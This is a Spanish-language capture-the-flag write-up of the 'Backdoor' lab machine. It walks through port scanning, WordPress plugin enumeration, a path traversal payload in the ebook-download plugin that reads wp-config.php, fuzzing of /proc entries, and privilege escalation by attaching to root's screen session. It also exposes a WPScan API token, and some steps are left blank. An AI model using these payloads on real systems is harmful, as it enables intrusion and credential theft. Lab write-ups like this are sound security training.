Backdoor

Reconocimiento
sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.129.96.68 -oN Target
cat Target | nmap2ports
sudo nmap -p1337,22,80 -sCV -n -Pn 10.129.96.68 -oN Target
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
| 256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_ 256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.8.1
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Backdoor – Real-Life
1337/tcp open waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Explotación
Primero meter en el /etc/hosts el dominio:
sudo echo "<ip> backdoor.htb" >> /etc/hosts
Al ver que es un Wordpress utilizamos la herramienta Wpscan para encontrar vulnerabilidades:
wpscan --url "http://backdoor.htb/" --api-token="9DpTNcC7EzgHaDPeYda1ZSwAq0CyaZOdNKuVLptyzrg" -e vp,vt,u --random-user-agent
En el output de WPScan no encontramos ninguna vulnerabilidad, por lo que continuamos con la enumeración de WordPress accediendo a la ruta http://backdoor.htb/wp-content/plugins. Esta ruta puede descubrirse mediante fuzzing, aunque es una ubicación estándar que deberíamos conocer.
dirsearch -u http://backdoor.htb


En la ruta /wp-content/plugins, WordPress almacena sus plugins. Si el directory listing está habilitado en esta ruta, se considera una vulnerabilidad, ya que permite visualizar todos los plugins instalados junto con sus versiones. Esto facilita la búsqueda de exploits asociados a versiones vulnerables.
Para identificar la versión de un plugin específico, accedemos a la siguiente ruta:
http://backdoor.htb/wp-content/plugins/ebook-download/readme.txt

Esta en la versión 1.1 así que vamos a buscar con searchpsloit
searchsploit wordpress ebook

La vulnerabilidad seria:
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
Una parte que tenemos que revisar cuando tenemos un LFI son los procesos, los procesos se enumeran de la siguiente manera:
Primero creamos el archivo con los numeros para poder así fuzzear los procesos:
seq 1 999 > num.txt
Y para ver los procs que estas activos:
wfuzz -w num.txt -t 200 -c --hw 1 --hc 404,302 http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../../proc/FUZZ/cmdline 2>/dev/null
Ahora con una captura de burpsuite vamos probando los procs siguientes procs


Como podemos ver dentro del proc se encuentra el servicio gbserver por el puerto 1337 así que vamos a ver vulnerabilidades asociadas de gbserve
searchsploit gbserver

Lo ejecutamos siguiendo los siguientes pasos:

Escalada de Privilegios
Buscamos SUID
find / -perm -4000 2>/dev/null

Encontramos screen y con ps -faux encontramos el siguiente comando:
ps -faux

Screen permite abrir sesiones como diferentes usuarios. Por ello, una buena práctica es verificar si root tiene una sesión activa. Además, con el comando ps -faux
, podemos comprobar si root está ejecutando una sesión en Screen.
Con el siguiente comando puedes ver si root tiene una sesión abierta:
screen -x root/root

Última actualización